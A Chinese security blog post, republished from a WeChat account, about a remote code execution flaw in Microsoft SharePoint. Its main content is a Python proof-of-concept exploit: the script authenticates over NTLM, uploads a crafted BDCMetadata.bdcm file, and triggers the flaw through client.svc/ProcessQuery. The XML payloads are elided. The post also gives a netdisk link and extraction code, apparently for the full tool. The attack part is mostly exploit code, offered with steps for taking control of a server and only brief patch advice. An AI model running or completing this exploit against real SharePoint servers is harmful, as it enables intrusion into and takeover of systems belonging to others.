【最新在野0day?】微软 SharePoint 远程代码执行(RCE)漏洞

admin 2024年7月11日17:08:25评论54 views字数 3414阅读11分22秒阅读模式

漏洞概述:

这个漏洞允许攻击者在服务器上执行任意代码,是由于微软 SharePoint 在处理某些类型请求时存在缺陷。这些缺陷可能包括反序列化不可信数据、输入验证不当以及对用户提供的数据处理不安全。该漏洞在微软的七月更新中进行了修复。

原理:

SharePoint 服务器在处理恶意请求时,未能正确验证和过滤用户输入,导致攻击者可以构造特殊的请求并执行任意代码。

【最新在野0day?】微软 SharePoint 远程代码执行(RCE)漏洞

利用过程:

  1. 配置目标参数:

    • 设置目标 URL 和必要的认证参数。

    • 确保目标 SharePoint 服务器处于未修复的易受攻击状态。

  2. 发送恶意请求:

    • 使用 NTLM 认证发送经过精心构造的恶意请求。

    • 服务器在处理请求时执行嵌入在请求中的恶意代码

  3. 验证和执行:

    • 检查服务器响应以确认恶意代码是否成功执行。

    • 利用成功后,可以进一步执行任意命令,获取对服务器的控制权。

POC

import requests
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
import sys, time
 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
 
session = requests.session()
target1 = sys.argv[1]
username = sys.argv[2]
pwd = sys.argv[3]
site = "/my/personal/" + username
target = target1 + site
 
print("Target: " + target1)
 
auth = HttpNtlmAuth(username, pwd)
PROXY = {}
 
burp0_url = target1 + "/_api/web/"
burp0_headers = {
    "Connection": "keep-alive", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", 
    "Cache-Control": "max-age=0", 
    "X-RequestDigest": "", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept": "application/json;odata=verbose", 
    "Content-Type": "application/json;odata=verbose"
}
 
content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False)
 
if content.status_code == 401:
    print("User is not site owner or wrong creds!")
    burp0_url = target1 + "/my/"
    content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False, proxies=PROXY)
    if content.status_code == 401:
        print("Wrong credentials!")
        exit()
else:
    target = target1
    site = ""
 
time.sleep(5)
 
burp0_url = target + "/_api/web/Folders"
burp0_json = {"__metadata": {"type": "SP.Folder"}, "ServerRelativeUrl": site + "/BusinessDataMetadataCatalog"}
content = session.post(burp0_url, headers=burp0_headers, json=burp0_json, auth=auth, verify=False, proxies=PROXY)
 
if content.status_code == 401:
    print("Wrong credentials!")
    exit()
 
digest = content.headers['X-RequestDigest']
 
# Create BusinessDataMetadataCatalog folder
content = session.post(burp0_url, headers=burp0_headers, json=burp0_json, auth=auth, verify=False, proxies=PROXY)
 
if content.status_code != 201:
    print("Error while creating folder, folder may be existed")
 
# Create BDCMetadata file
burp0_url = target + "/_api/web/GetFolderByServerRelativeUrl('" + site + "/BusinessDataMetadataCatalog/')/Files/add(url='" + site + "/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"
burp0_data = """<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog">...</Model>"""
req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, auth=auth, verify=False, proxies=PROXY)
print(req.status_code)
 
# Trigger vuln
burp0_url = target + "/_vti_bin/client.svc/ProcessQuery"
burp0_data = """<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions>...</Actions><ObjectPaths>...</ObjectPaths></Request>"""
req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=PROXY)
 
print("Done!")

链接: https://pan.baidu.com/s/1y-atlNi38cM2xXG--dxPwQ?pwd=733f 提取码: 733f 复制这段内容后打开百度网盘手机App,操作更方便哦

关键步骤:

  1. 身份验证:

    • 使用 NTLM 认证与目标服务器建立会话。

  2. 目录和文件创建:

    • 创建一个新的目录 BusinessDataMetadataCatalog

    • 在该目录下创建一个名为 BDCMetadata.bdcm 的文件,其中包含特制的 XML 数据。

  3. 漏洞利用:

    • 发送构造好的请求,触发服务器处理该请求并执行其中的恶意代码。

结论

通过了解和利用上述过程中的关键点,可以有效地执行远程代码,从而控制 SharePoint 服务器。为了防御这种漏洞,必须及时应用微软发布的安全补丁,实施严格的网络安全措施,并定期审查和审计应用程序的安全性。

 

 

原文始发于微信公众号(安全视安):【最新在野0day?】微软 SharePoint 远程代码执行(RCE)漏洞

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月11日17:08:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【最新在野0day?】微软 SharePoint 远程代码执行(RCE)漏洞https://cn-sec.com/archives/2940680.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息